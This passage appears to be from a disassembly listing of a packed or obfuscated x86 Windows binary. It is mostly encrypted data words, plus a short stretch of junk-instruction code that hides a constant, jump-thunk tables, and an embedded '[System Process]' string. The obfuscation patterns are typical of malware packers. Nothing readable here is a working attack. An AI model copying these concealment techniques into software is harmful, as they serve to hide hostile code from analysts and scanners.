		dd 840C8517h, 8C305CB1h, 6957CE16h, 730F4FB2h, 13ED2ECFh
		dd 53831FEFh, 1B7h, 0D1A04A77h,	0D30D75Dh, 0AF7705E8h
		dd 2BE18411h, 0D5CCC5F6h, 0E593B91Dh, 5C37ECACh, 0E87E2430h
		dd 90071245h, 95616F06h, 763A7A37h, 0C8DA305Ch,	93FD813Dh
		dd 9A5626CBh, 34F6950Ch, 69C37B5h, 356B473Eh
		dd 0ED112873h, 6C358F4Ch, 45B18C1Ah, 11000000h,	0A537A0B3h
		dd 0B9AE720Bh, 0D24C40A3h, 37494938h, 0D9CB305Ch, 1D717011h
		dd 832137B5h, 86346DE9h, 0BC740A74h, 1D258160h,	37DB2873h
		dd 887B4596h, 0E8FB8C1Ah, 0EB000000h, 1EAFC963h, 3A43F5D6h
		dd 0CEFC3421h, 44D6A04Ah, 0C4B7F7AAh, 4B59305Ch, 0F207B3EFh
		dd 2B66F08Ah, 305CC56Bh, 0FF33FFA5h, 0AD3F39D3h, 94680C21h
		dd 0F08E220Eh, 7EBAC054h, 2FC6B05Ah, 2C6C25BFh,	0E4305CC5h
		dd 0C89372BEh, 6305CBFh, 7BEB8AF4h, 0BFF0B0E1h,	8220305Ch
		dd 0EF78FBB6h, 0EBCB245Dh, 831D37B0h, 70EB8E0Eh, 85057C28h
		dd 8F2870EBh, 0CF2B7915h, 5EF78123h, 919976Bh, 9C29BB8Bh
		dd 0D8104A06h, 89F306CEh, 0BBC557FFh, 0C91596Bh, 42EF8DA0h
		dd 340A4D5Bh, 4AF2E579h, 57000003h, 9F39B4C4h, 0C06C017Bh
		dd 77A14C2Eh, 0A4109D1Fh, 0D24AEB91h, 0A4D06555h, 0F676AF09h
		dd 423ADD7Fh, 89EB01B3h, 6A2783E4h, 286DF32Ah, 4AF2D0EAh
		dd 0FC58D5A7h, 0C28A1C5Eh, 0A5D77A2Eh, 69B54B59h, 21B7356Dh
		dd 4A7EC4C9h, 0DFDFD2A0h, 31305CC4h, 0B501DD73h, 2958D5A7h
		dd 305CC58Eh, 98099A95h, 305CC518h, 8214AAF8h, 0B5BB580Fh
		dd 1238A437h, 2A069C60h, 30CA5C46h, 73BC4141h, 19D1D328h
		dd 0B9730A94h, 4D749C14h, 4A784AA6h, 9844D6A0h,	0A63C0072h
		dd 90BA164Ah, 19144FE6h, 0C497178Ah, 2B79305Ch,	0EF8E0395h
		dd 0A737B5ABh, 644021FDh, 182873ACh, 3C8455F4h,	0BA8C19F5h
		dd 35h,	0C5DC7808h, 3B36EB47h, 68671AACh, 2E37B5ABh, 0B04BE274h
		dd 6CFAC587h, 0FDCF286Fh, 7301C813h, 1EBA6B87h,	0C22873B3h
		dd 82429F3Eh, 0FC8C19F2h, 0CEh,	3EDC78C6h, 0E5E5E03Ch
		dd 50A4B0BEh, 0E4D018AEh, 0FCD82456h, 2A6A2759h, 22305C1Ch
		dd 17AD71F3h, 8CA1257Fh, 0F88E14E8h, 0F082A824h, 0E88AA02Ch
		dd 17333E45h, 81AB305Ch, 56F965F7h, 6CC4DE26h, 5B253761h
		dd 0AC3B368Bh, 0F758671Ah, 0C4DE37B4h, 6CFB7629h, 550A43DAh
		dd 523D4003h, 829100E6h, 302FC736h, 0D97CD872h,	0AA4D09A3h
		dd 9A2852E4h, 815D1F32h, 0EAA3703h, 0B1891EBh, 293C34D6h
		dd 1CFA215h, 39D20000h,	0F61AB63Fh, 0A94FE984h,	0A2F25ED7h
		dd 0E238D20h, 0D069C76Eh, 862F4DE0h, 0F479FB2Ah, 28C5B758h
		dd 610C6E8Ch, 0AFEFA2FCh, 61286DF1h, 0A74A752Bh, 759B43D5h
		dd 0CC621A3Dh, 3B867270h, 20377399h, 68FE8458h,	0A0B37DC5h
		dd 0C53E7E33h, 61E305Ch, 6A2AB884h, 8510AA38h, 29339926h
		dd 0D9CF2BE5h, 0BCFCB54Fh, 54305C4Dh, 0A9BBA449h, 28BE4774h
		dd 0EC201C0h, 0D2D037B5h, 0B9E87472h, 0B20EFF3Bh, 5628730Eh
		dd 0EED603AAh, 88C1A96h, 0CFh, 0D6A04A5Ah, 0CDAF420Eh
		dd 0BFC59071h, 0AF37305Ch, 492BC189h, 0B15B7FBBh, 26B02EC7h
		dd 1FE799BEh, 0BF941485h, 267C305Ch, 324CEECAh,	87B90D98h
		dd 919B81BCh, 0A5B00559h, 0B488F204h, 0F476AE2Eh, 72049A28h
		dd 0B536B03Fh, 8A1C8637h, 8C50D2C2h, 0F14D2FC0h, 8955DF3h
		dd 0BB4DDA55h, 0C76090C6h, 0F4861C2Fh, 0D1D1C05Ah, 43208760h
		dd 82D8961h, 0C257C16Ch, 3D243FBAh, 0C4183C34h,	0BC93h
		dd 2A4AE100h, 7705298Bh, 0C2BC52FEh, 13918133h,	59233662h
		dd 0F7E344D4h, 399B1A62h, 6FC964E8h, 933DB0C8h,	1176FF79h
		dd 0F09C1C95h, 4674286Dh, 38DC7860h, 55E0E242h,	0B16645D3h
		dd 2D8961A9h, 57C16C08h, 0A521BBC5h, 881AEA92h,	4AE55DA0h
		dd 420ED6A0h, 0A23CCEA8h, 5CC4AFEFh, 524D9830h,	4DE0ED2h
		dd 0D3DE1A88h, 700A9D98h, 4FF08501h, 29F5AF38h,	40ED8FADh
		dd 0E83446D4h, 0C730239h, 0B657F920h, 179ED872h, 53E597A5h
		dd 0C5199B8Bh, 933F73BFh, 0CA3D0183h, 39D323CAh, 0CB744848h
		dd 1EDAC810h, 4FE690BAh, 0D12D4FEDh, 7E8C3ED7h,	8E088489h
		dd 36DA2h, 54B50000h, 0D7A14AF6h, 0CFA9430Fh, 0C4B45B77h
		dd 0C7455C78h, 0BEBE537Fh, 0B5C76A66h, 0B7356D69h, 0B3CD636Fh
		dd 0A9D36753h, 0EC815E55h, 4
		db 89h,	34h, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	edi
		mov	edi, 7EEC98Dh
		push	edi
		sub	dword ptr [esp], 7B522AFEh
		pop	ecx
		add	ecx, 7B522AFEh
		pop	edi
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		push	67ABh
		mov	[esp], ecx
		pop	dword ptr [ebp+8]
		mov	ebp, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		db 0Fh
		dd 9E17ADEAh, 0F27B4742h, 37036C3Eh, 0EED58CB8h, 0FFC50307h
		dd 325C4FE0h, 0B3F43273h, 0AADB5458h, 0DE992C32h, 0C8D4E91Dh
		dd 0BF84D003h, 67EC457Ch, 8B947C21h, 20644957h,	8B364236h
		dd 6A47F866h, 0D795B44Bh, 33EC392Dh, 23E8AC67h,	0CF922F68h
		dd 2A0A6C57h, 0F71FE233h, 1460FF13h, 0A964B20Fh, 0DC5D524Eh
		dd 1342AD1Bh, 91AF8F6Ah, 6EA62062h, 6E8D8D19h, 6A07EED7h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 0ADA7C353h, 0B50D8E52h, 7EB23363h, 7107BB66h
		dd 320D8D89h, 6A07E9h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1B0424h, 50400000h, 92254AC3h, 8DB2705Dh, 810F6062h
		dd 6, 34DD9509h, 9D8B07E9h, 7E93029h, 0E585C761h, 0B007E922h
		dd 6A00005Ah, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 59A3C355h, 659D8B45h, 6607E931h
		dd 0C78854BAh, 0E922B185h, 7, 0F9BD8B00h, 0FF07E901h, 0E9245DB5h
		dd 8595FF07h, 6A07E922h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 8142C351h, 8A3733B6h
		dd 0FF006AD0h, 0E90C3195h, 0EBC08B07h, 55C9665Bh, 9E657F62h
		dd 4A3F7000h, 0BEE8F3Bh, 0DE35381Ch, 0BBA5CB8Fh, 0B3539721h
		dd 0B201C870h, 9FE5374h, 1414D3ABh, 5D23C6A7h, 15614E17h
		dd 76EDBBA1h, 855B3C88h, 0B9F54BFEh, 1F6C1A3Ch,	0F1080A22h
		dd 6F4817B7h, 219241C1h, 0EC0518C8h, 1AEC7D42h,	0A80F3CBCh
		dd 2D2356DAh, 0D85E8D8Dh, 0B58907EEh, 7E909B9h,	320D8D89h
		dd 8B6007E9h, 0E92EBD8Dh, 85C76107h, 7E922E5h, 591Ch, 0EE8h
		dd 0F6442200h, 0A86408A7h, 59090C59h, 8B7196B3h, 0E91C6D85h
		dd 85C75B07h, 7E922B1h,	0
		dd 7E9h, 4D44CF00h, 477B9A1Ch, 2045B5FFh, 6A07E9h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 4E4FAAC3h, 0C18B6652h, 8595FF58h, 8B07E922h,	0E915C9BDh
		dd 0FF006A07h, 0E90C3195h, 0EBC08B07h, 0B696DE7Dh, 91143EEAh
		dd 0EA355C0Eh, 1D1A6F3Bh, 0E9A3E4AFh, 0A4B813FDh, 0D73A3D33h
		dd 237C170Bh, 269493h, 99B7B328h, 15F8D9BAh, 7D75CEE2h
		dd 6CD1BBF5h, 9E26FA9Ch, 683F5E83h, 73E9A133h, 0C58AB8C9h
		dd 359A7E50h, 20F9E6B8h, 3A095FF1h, 9B86277Bh, 0D945477Ch
		dd 43ACADB1h, 7DF0ACCCh, 6D9072C2h, 282E00FCh, 21CDD0A1h
		dd 8A5DBC71h, 0A53ABBC8h, 0AFF6BC74h, 7410CCC7h, 0AE836F9h
		dd 2B000000h, 6C82A419h, 0F93C4667h, 0BF0F5A2Eh, 2EC281C6h
		dd 2B00005Eh, 0E91F85B5h, 0BB07h, 880F0000h, 2,	34FFCF8Bh
		dd 0DE816613h, 8B5FB63Ch, 0E930F985h, 5EC78107h, 0F6C2C30h
		dd 1284h, 0DE900h, 22A60000h, 134418Bh,	7C53B266h, 81F978DFh
		dd 87881BC7h, 9DBD0112h, 8107E901h, 0C40CA6F7h,	6820F15h
		dd 81000000h, 0D827E1C6h, 1A3C8944h, 5B3EBE66h,	83EAE480h
		dd 0AE904EBh, 6D000000h, 0ADC017FFh, 0A92F2F05h, 90FB8168h
		dd 0FFFFFA2h, 1285h, 9BD8900h, 0E907E91Ch, 1Dh,	0DC0282EAh
		dd 0B953E55Bh, 0C82F8FBh, 0FFFF71E9h, 13A3C6FFh, 5C8487C6h
		dd 5BBD10CBh, 180E924h,	91A40000h, 6B101BECh, 4FE4857Bh
		dd 5B8B4D87h, 55260A5Ah, 55765351h, 5BD40A52h, 723C5359h
		dd 275F3A72h, 73E45320h, 0C71AD1DBh, 0B5A79DDFh, 17925267h
		dd 1285316h, 0
		dd 40000h, 2 dup(0)
		dd 350000h, 0
		dd 80000h, 0
		dd 79530000h, 6D657473h, 72502000h, 7365636Fh, 5D73h, 45h dup(0)
		dd 43E90000h, 68000016h, 7EEDD49h, 0FB77D3E9h, 0DE2A68FFh
		dd 0C9E907EEh, 68FFFB77h, 7EEDF10h, 0FB77BFE9h,	0DFD268FFh
		dd 0B5E907EEh, 68FFFB77h, 7EEE165h, 0FB77ABE9h,	0E2C268FFh
		dd 0A1E907EEh, 68FFFB77h, 7EEE3A5h, 0FB7797E9h,	0E46368FFh
		dd 8DE907EEh, 68FFFB77h, 7EEE670h, 0FB7783E9h, 0E76568FFh
		dd 79E907EEh, 68FFFB77h, 7EEE828h, 0FB776FE9h, 0E8A468FFh
		dd 65E907EEh, 68FFFB77h, 7EEEA3Fh, 0FB775BE9h, 0EF2A68FFh
		dd 51E907EEh, 68FFFB77h, 7EEF028h, 0FB7747E9h, 409088FFh
		dd 7A9AF75Ah, 68B4ED6Ch, 1CC4DF72h, 31D53386h, 5D3133A9h
		dd 0B2079F3Fh, 0A3168C58h, 963BA367h, 9C4B537Fh, 5FB9670Ch
		dd 2471A92Eh, 88584F98h, 0DC0C036Eh, 0CB130DCCh, 5EEB5AD0h
		dd 0ED35848h, 8CA9289Dh, 0F1925D4Fh, 6FB7D146h,	0B98BC40Bh
		dd 73D9527Ah, 3799565Eh, 1AFCE724h, 6CEC786h, 7FE4FFE4h
		dd 99565ECDh, 3482649Eh, 13FFDAE0h, 4788h, 0E968F800h
		dd 0DD0264B0h, 565668D4h, 0C1D32099h, 5657062Ah, 2AB1C299h
		dd 801653AEh, 8D55B110h, 0F17F6A69h, 289F177Ah,	0E40655A9h
		dd 566A85B7h, 0CA3C4699h, 0FFD2284Ch, 4D78B713h, 4396FFD1h
		dd 0BB0D5CCh, 0D4000001h, 9584584Fh, 0F0A2275Ah, 3A87E320h
		dd 2C8D34DCh, 0B1B1013Fh, 544B1670h, 81F6284h, 4CE760BAh
		dd 0A14055E0h, 0D51A5B98h, 5AC126CDh, 67BEA140h, 0F9F23BBh
		dd 0F280BE20h, 0DFD4156Ch, 0A1407971h, 0BF2A29h, 0E5BDD909h
		dd 0F8E32B64h, 0FAEE0045h, 795BC16Ah, 0DC1FA140h, 79F927CCh
		dd 0A2B1A140h, 8919A927h, 8F04CCC8h, 0A14079A1h, 0C6D2F210h
		dd 0D6FA16B5h, 8BEF26CBh, 1CBDA929h, 0E2BED800h, 5767E349h
		dd 1754A799h, 8F24848Ch, 995767A1h, 0CDD51A59h,	59819C3Dh
		dd 677CA04Bh, 3F3C9957h, 2ABC09A4h, 3FD93DB6h, 0F605A143h
		dd 0E12563E2h, 0F83A58F9h, 4A37749Ch, 2E066760h, 8B48D5F3h
		dd 6000013h, 75C4C20Eh,	6BEEF418h, 5DFCEA32h, 0B1009E42h
		dd 0BD2BB353h, 1DC1DFB3h, 32DA3485h, 21E92594h,	0D10118B9h
		dd 0E58E12C9h, 0A92E6237h, 4F1AA6F3h, 95158D51h, 0E832DA34h
		dd 0A2D7A6EBh, 5B000B65h, 4E9AF140h, 1653E450h,	1862A6E2h
		dd 47069ADBh, 7C63874Bh, 214CE765h, 5BA9289Fh, 4DA2FE18h
		dd 34145486h, 4B978EABh, 220A9F0Ah, 0E5995590h,	95E12DD9h
		dd 221400ADh, 47A367A3h, 0ACE48118h, 8C000000h,	83C977FCh
		dd 10819955h, 0F6EDD2F2h, 88584F42h, 0B460B918h, 0CF130F52h
		dd 9EE3138Eh, 7D3A5C80h, 0A13F8996h, 58469289h,	1476A2F9h
		dd 0E821451h, 2891AC65h, 6D7586A9h, 6F7D73F0h, 424211C4h
		dd 88185BA1h, 930BCBC9h, 88544E0Fh, 0A064A211h,	17FEDDFh
		dd 0CB527C2Eh, 12AAh, 0E5FD2D65h, 0F973754h, 1D85514Ah
		dd 21B961BCh, 34527290h, 0DA38949Eh, 0F32DAC3Ah, 21EB32Bh
		dd 1A71C0DEh, 0A97BD0CEh, 2E631E02h, 7DDFDAA9h,	158D514Fh
		dd 36D63495h, 25F52CABh, 0A08C27B7h, 58A13F84h,	0E5C1D61Bh
		dd 0C8A59A77h, 4FFD59D1h, 0D7188858h, 58062394h, 0C8C1E040h
		dd 1071851Ch, 0B129F9h,	62CDDF07h, 462E99A2h, 8B8B1636h
		dd 0B123EF26h, 1BA68A21h, 1162A140h, 8FB3F08Ah,	0F9EBFD4Ah
		dd 29422372h, 0AE2231A9h, 0B128F82Fh, 265BC2C9h, 0F74C90E1h
		dd 395D8983h, 4CE7F53Ah, 0A9B5C5F1h, 722E488Bh,	94C026BDh
		dd 801BB1A5h, 2B64982Dh, 1B5887E3h, 3515E289h, 0D023A1D0h
		dd 0DE0A01C0h, 8BB13ACAh, 4F91F6F5h, 8AEC306Eh,	59D0445h
		dd 0B5EF5DB4h, 6F572869h, 0F22E9D1Ah, 11C449D4h, 475F0000h
		dd 514E039Bh, 6BA4158Dh, 7B963BA3h, 8C8A4F57h, 7AE45248h
		dd 0CED4F816h, 0DDC5110Bh, 0E2F8207Ch, 0F2E8386Fh, 2CC745h
		dd 0B8A92E64h, 584F53FDh, 0CA1F6E88h, 0B05C4D4h, 0B848D8C3h
		dd 0B1D5FD19h, 0E38217B2h, 11A928AAh, 5F361A91h, 0EDF29956h
		dd 89308DA2h, 0D1165759h, 0A31108C9h, 1A7CBD69h, 18881EABh
		dd 44967993h, 465A99A1h, 5A409087h, 1670A0F7h, 0C9C1257h
		dd 55BC6567h, 1A8ECD99h, 24B464BBh, 9311F94h, 63A08978h
		dd 0A70A49A3h, 1C43A76Bh, 554C0D85h, 90316185h,	54AAC74h
		dd 9301C97h, 0EBE88978h, 96085DF0h, 20A06902h, 51A29161h
		dd 6507E0ACh, 0C855733Eh, 1102h, 4D55859Dh, 574F8F8Ch
		dd 657DA9E2h, 8911B9D4h, 9C0ACAC8h, 32503C26h, 4B45F492h
		dd 5AB61B83h, 72A928B6h, 18338A6h, 2E63C66Ah, 953782A9h
		dd 55DE514Fh, 0A13F84E7h, 8B1350A3h, 82DC38F7h,	52B7EA80h
		dd 594F9437h, 4B8F8A4Bh, 0FAE13168h, 0AA90C16Ah, 3B9AA928h
		dd 66AE35E1h, 7990F115h, 0EE08D0CBh, 1C5C2E1h, 8746DAC0h
		dd 5B264090h, 785B9840h, 0AE95F121h, 5D8D8433h,	0E9FF4439h
		dd 0A82170FBh, 2033A13Fh, 82649AC6h, 0BF27F32Ah, 0A323C106h
		dd 5295171Fh, 57DCCC0Dh, 9956451Eh, 0BE036774h,	0B15FBB67h
		dd 55F4578Fh, 570A9139h, 670C9C12h, 916D35EEh, 15A53744h
		dd 9B17B29Eh, 7E657681h, 0B28B64E4h, 515B049Fh,	4C43F2E9h
		dd 0B3D7A9Ch, 0E8819AC6h, 0F81C79D8h, 33D7339Eh, 0CF37D7F2h
		dd 0CA96465Dh, 0EE887E18h, 51E1F330h, 9AD276DAh, 882D3281h
		dd 0D4DA4627h, 2CA63D62h, 39E13D9Ch, 4C0B96DDh,	1C618555h
		dd 33C3D1C7h, 0F92408A3h, 97E4819Ah, 14EE670Ch,	0F33C8984h
		dd 0C0A8F816h, 0FB0198B6h, 7E9DE2F8h, 96F4085Dh, 0D9A28E25h
		dd 156679B1h, 4C8DB2D4h, 0B33DD75Ch, 65581A0h, 0A90B0968h
		dd 466A76Fh, 0C2FFA597h, 35AB3871h, 0D9D40CA7h,	7C2C79B1h
		dd 0D42649F7h, 24462669h, 22B3920Ah, 544485D6h,	54729EF5h
		dd 1862AEE5h, 16B4A788h, 0E3745906h, 0ECC458AEh, 68731CEDh
		dd 966BABE9h, 16BE1604h, 6F9C3947h, 2A00000Fh, 19B826F2h
		dd 0FC2D8FCh, 61D0CE16h, 55E4E226h, 510F9737h, 61A5E3CFh
		dd 16BED879h, 5CDC988h,	35E53C9Dh, 0F97236ADh, 0A92E6553h
		dd 4F268217h, 0A4158D51h, 2C05B16Dh, 750235D9h,	988FD234h
		dd 0F1352E48h, 40908715h, 52BC050h, 0C5A14028h,	3C972BB6h
		dd 0C1615D8h, 19280h, 584FC400h, 5EB91888h, 8AD72FBAh
		dd 0E65F4793h, 0D65D4F61h, 0A9289D0Bh, 2FF71081h, 234784CBh
		dd 566BC474h, 0B4158799h, 6A698D5Dh, 2B679F7Fh,	13FFCDCBh
		dd 49BFh, 1653D100h, 0BDF1080h,	65ADE927h, 2991C201h, 0B7D2F10Ah
		dd 73F88813h, 0A9294A0Eh, 51A3034Ch, 9C9A1217h,	0D21F76A1h
		dd 0D51A54AAh, 7B52FAB1h, 0E9159957h, 0E63F9EFDh, 5B98405Ch
		dd 34A9303Fh, 13FEC1E0h, 0CC88h, 584FCC00h, 0F4207ADBh
		dd 3F8451FFh, 85CA09A1h, 75903161h, 898736ADh, 49402145h
		dd 4842DA95h, 1D565FD6h, 0BA44F0D6h, 0D7C50A8Bh, 0AF80AC47h
		dd 3B38A13Fh, 140B56A0h, 0AF44D4C4h, 0A13FAF81h, 5EC26939h
		dd 1AA13FAFh, 890198D9h, 963E58F9h, 0B481660Bh,	0A7FEA13Fh
		dd 75F2637Bh, 69C3DD6Fh, 296E1EDCh, 584330BBh, 4695A92Ch
		dd 7195F352h, 6AAAE869h, 3F420B99h, 0A9345226h,	0E12h
		dd 5D45958Dh, 677F9FFCh, 756DB9D2h, 9901C9C4h, 0AC3ADA38h
		dd 42402C36h, 5BB50482h, 6AA62BB3h, 829938A6h, 11934856h
		dd 2E66B69Ah, 852772A9h, 7DC3DF7Eh, 519EF824h, 119AF610h
		dd 0A13F852Bh, 34AFECEFh, 5F478785h, 6F77A3FAh,	88584FEFh
		dd 0DC0C036Eh, 8A8342C6h, 0A03B3842h, 504CFA11h, 3E987284h
		dd 82C30819h
		dd 908E4F5Dh, 0DCA1554Ch, 0E8831187h, 0A929751Dh, 0C7B62C2Fh
		dd 7B5h, 86AA41D1h, 3A995763h, 57638BB1h, 0E40C4F99h, 7E480C97h
		dd 831EC6DFh, 0D436D634h, 3F8475A7h, 0C5DB68A1h, 379918D7h
		dd 7441B60Bh, 0A454DF6Dh, 0ECA92F3Eh, 455CFDEFh, 554C0D95h
		dd 0A1316185h, 518B260Ah, 0DC9DE299h, 57524A6Ah, 31EBDE2h
		dd 2DB4BBDFh, 0D3AC70AEh, 26389DCBh, 2FED8896h,	0EA00000Dh
		dd 0D97866B2h, 0CF8218BCh, 21900ED6h, 15A422E6h, 11CFD7F7h
		dd 0A165A30Fh, 567E9839h, 458D8948h, 75A5FC5Dh,	0B932F66Dh
		dd 0A92E6793h, 4FE64257h, 8F1F8D51h, 3F8538E4h,	0F8E3F0A1h
		dd 68B8EF62h, 0BC6CA30Eh, 0D273015Ah, 99756CB8h, 34E83F6Dh
		dd 0CD67D3F5h, 0CED41544h, 16140115h, 24690Ch, 652F0000h
		dd 0A13F8FA8h, 0EF0BCFCBh, 0ABC4A3E0h, 0CCFFFFFDh, 7989B73Ch
		dd 0B239A13Fh, 0A13F798Eh, 90E3094Ah, 0B3654F09h, 2AA13F84h
		dd 12990B9Dh, 0A92E5EF2h, 0FF2DC656h, 0F29950ABh, 29167094h
		dd 0E329B0C3h, 4A410090h, 5AB1009Eh, 7056C8Eh, 4C8A3AC7h
		dd 0FB05263Bh, 0C7152h,	24F42C00h, 0DEFE1BBEh, 0CC1871C0h
		dd 0E02863D6h, 953957FAh, 0E1CD570Dh, 0D67B63A3h, 0C78A10BCh
		dd 3A9F07CBh, 30AF37E3h, 6855FB70h, 8015A92Eh, 88584F24h
		dd 0DC0C036Eh, 0D6D963CCh, 5290C04Dh, 0FC94CF37h, 59C405Dh
		dd 0E9EFDE9h, 4074B765h, 0B83373A1h, 0A1407494h, 8DC60754h
		dd 2C143A86h, 4E0D941Dh, 0A0138B57h, 0C15FB54h,	1C04h
		dd 0DF7E5800h, 93FE18C8h, 0E355175h, 6BAFEAC9h,	8F36EB70h
		dd 583FA13Fh, 0FFFFFCD6h, 8016537Ch, 0A01A9B10h, 0CB08A928h
		dd 6941E8AFh, 0F6089956h, 0CF728210h, 400113FFh, 757A9C44h
		dd 1AD396Eh, 655F0000h,	0A13F84E3h, 0A6C00C06h,	9E3578B9h
		dd 8E435B87h, 0F8594B97h, 0B132779Bh, 32A782BCh, 3FAAA9CDh
		dd 4BD0D0C7h, 96E8A140h, 35E53C70h, 39B730ADh, 4D9DF4DDh
		dd 0F824CF5Fh, 0B0A1404Ah, 2FA238A3h, 0C9CE28F8h, 0A1404ACFh
		dd 0D26086B8h, 0C15EFC2h, 4999F051h, 3ACF2A2Dh,	59F7D99Dh
		dd 48E48118h, 0B8000001h, 1888584Fh, 0F5B45CB9h, 0E986762h
		dd 1CFAE126h, 14B25EB5h, 26BA2CB9h, 3ADA3796h, 630893D0h
		dd 0A9294B5Eh, 2B63CCDCh, 6C3D9F52h, 5340ECE5h,	0FBF89957h
		dd 0F15B50BAh, 0F8995752h, 0B011759Dh, 6B57B353h, 0B8D9F115h
		dd 0C2D26086h, 0B613FEE6h, 4Ch,	0C3DF7EEEh, 8479A74Ch
		dd 2231A13Fh, 0FE4BE6FDh, 0BC37F8E8h, 53142E5Bh, 4AF3DA4h
		dd 0A9295259h, 0E7336AEBh, 0A3C714FCh, 0EC306EEFh, 1DBC6CF5h
		dd 1D8F9957h, 51B565BCh, 8F534F12h, 817D646Bh, 1FCD2965h
		dd 95BD13FFh, 0D3000000h, 6E88584Fh, 0A5C10503h, 0F115C5DCh
		dd 0CECB7990h, 0AAE7EC0Eh, 507F54E1h, 51498E76h, 4071B5CAh
		dd 57839AA1h, 0C51964Fh, 4040B967h, 3D6271A1h, 164F04AFh
		dd 51E1A92Ch, 546B76DAh, 0BA213299h, 32930152h,	27AA30D4h
		dd 0AE5825E9h, 3D263E8Ch, 0A648A13h, 0E73F0000h, 0F12EA33Bh
		dd 0B04B52Dh, 1B76DBC3h, 2C6AEFF7h, 0DA44F2E8h,	6E7498F6h
		dd 7D65B1EBh, 8218C0DCh, 9208D8CFh, 60CC6725h, 18A92E6Ah
		dd 514F339Dh, 6DA4158Dh, 0FA1CC4DFh, 0AE2EB4F5h, 6E88584Fh
		dd 0C6DC0C03h, 41858342h, 4373F5Ah, 0BD5D0000h,	7167FC9Dh
		dd 5E39C863h, 9233A92Eh, 0CE36AD79h, 296EB6EFh,	5AD16141h
		dd 9950AAF6h, 873AA1B2h, 0AC3CAC42h, 7B5DC743h,	41978D23h
		dd 155CDA0h, 0AC35ACEDh, 0A13A3F21h, 33FF549Bh,	1D5C4D29h
		dd 110DCCDCh, 3BA6ADC9h, 0B06C7DBh, 0F25ED5C7h,	0B6916881h
		dd 83B53EA5h, 44916881h, 264ECC3Ah, 521BEDB7h, 379h, 84B3650Ah
		dd 3B1CA13Fh, 0B0A13F85h, 9F2FBD33h, 97930550h,	0B2395DB4h
		dd 0A13FC18Eh, 0D8C8094Ah, 3FC1ED53h, 33AEADA1h, 28E0A3AEh
		dd 29DA19A9h, 263D75A3h, 6F711C3Ah, 2A000009h, 19B826F2h
		dd 0FC2D8FCh, 61D0CE16h, 55E4E226h, 510F9737h, 61A5E3CFh
		dd 16BED879h, 5CDC988h,	35E53C9Dh, 0F97236ADh, 0A92E6B53h
		dd 7E268217h, 841FC3DFh, 0E832DE35h, 9D8328B8h,	5DA13F84h
		dd 3BE18A1Eh, 0FFA13F85h, 0FD4AE5FCh, 0A672F9EBh, 0CAA92E5Eh
		dd 0AA8BB13Ah, 0BC379950h, 9950AA90h, 92E10B48h, 0D4F201F7h
		dd 2A9EC79h, 9950AB1Eh,	485899DAh, 3F8459A3h, 861A59A1h
		dd 9901CDC7h, 61D25212h, 55559B91h, 4A928C4Dh, 0CD4A4120h
		dd 61CFFA26h, 7CBDBE91h, 0CCC7861Ah, 0A5229D04h, 6F0AA133h
		dd 0E5994AE6h, 0F2E62664h, 78B9D379h, 5D449789h, 3BDBA4B7h
		dd 0C636135Eh, 8AC1DB8h, 2F670000h, 3956FBE3h, 534C0D95h
		dd 63BE138Bh, 749227BFh, 929C4A50h, 0A63CE03Eh,	0B52DF913h
		dd 0DAC00804h, 0EAF02077h, 1804AF7Dh, 0D0A92E6Dh, 16537BC5h
		dd 919B1080h, 91A92E5Eh, 958F4E42h, 0A6E05149h,	1CA91C7Eh
		dd 0A986168Ah, 0E5DC150Eh, 0DB405B17h, 0A13FD44Dh, 0A4FC1E5Dh
		dd 0C637744Bh, 0F5EC1B5Ch, 99B0D5Ah, 4B632762h,	68A41599h
		dd 0C69E63A0h, 913613F3h, 830EE77h, 0B3EB0000h,	0BDDA7F67h
		dd 0D7308119h, 0E722970Fh, 0F816BB23h, 0E10CED4h, 3AA064A2h
		dd 49517D97h, 5E448C88h, 6E74A4FBh, 94B833F1h, 54A92E6Ch
		dd 584FE741h, 70DDA484h, 0EE2F4F91h, 6ADB148Ch,	0ADDC5Fh
		dd 0D2C98813h, 0B982EB0Ah, 0A306BD44h, 763A068h, 51B561BAh
		dd 0A9CD1570h, 9F0DF90Bh, 3A395D81h, 887EA0F5h,	0B52DFD14h
		dd 1695FA1Ah, 0CEC8890Ch, 0BDE22A64h, 0E68F1A59h, 181h
		dd 801653BEh, 982A9B10h, 99F8A928h, 0FF1B587Ch,	567090B8h
		dd 0DBFB1999h, 49FCBCBFh, 76FBF668h, 76903853h,	0C0FAEC22h
		dd 2B679FA3h, 140059CBh, 14CBFh, 584FD100h, 0C036E88h
		dd 4763CCDCh, 547BFB23h, 0DE62F8E3h, 0EB5D5711h, 0E7E2AA5Ch
		dd 0FBE9FF44h, 64B0EA6Bh, 0A6E9F47Dh, 1063A928h, 0E13B9AF6h
		dd 577B9635h, 0C950C33h, 9956761Ch, 0E733D3EFh,	13FFC38Fh
		dd 39FBh, 16539D00h, 0F69B1080h, 34A9289Eh, 64D4C327h
		dd 6599566Ah, 3F82E428h, 0C4DC3EE6h, 566B012Fh,	61BAB999h
		dd 0D031C93Dh, 0DC0801C0h, 71BD29C5h, 13FFD225h, 0A155h
		dd 584F0B00h, 8B533984h, 6A4916F1h, 4380EA2Eh, 7B99F802h
		dd 32B9495Bh, 0A13FFB0Eh, 6EAEEBCAh, 7D44B229h,	577F9826h
		dd 3D9CF416h, 94DB3FDFh, 8B574E0Dh, 12E8D619h, 73325Ch
		dd 39EDF07h, 7173E08Fh,	958CA140h, 63E05D45h, 9FD45F4Dh
		dd 0E9A92C0Dh, 3957F6EAh, 4E4C0D95h, 0B571F58Eh, 0D6F0263Eh
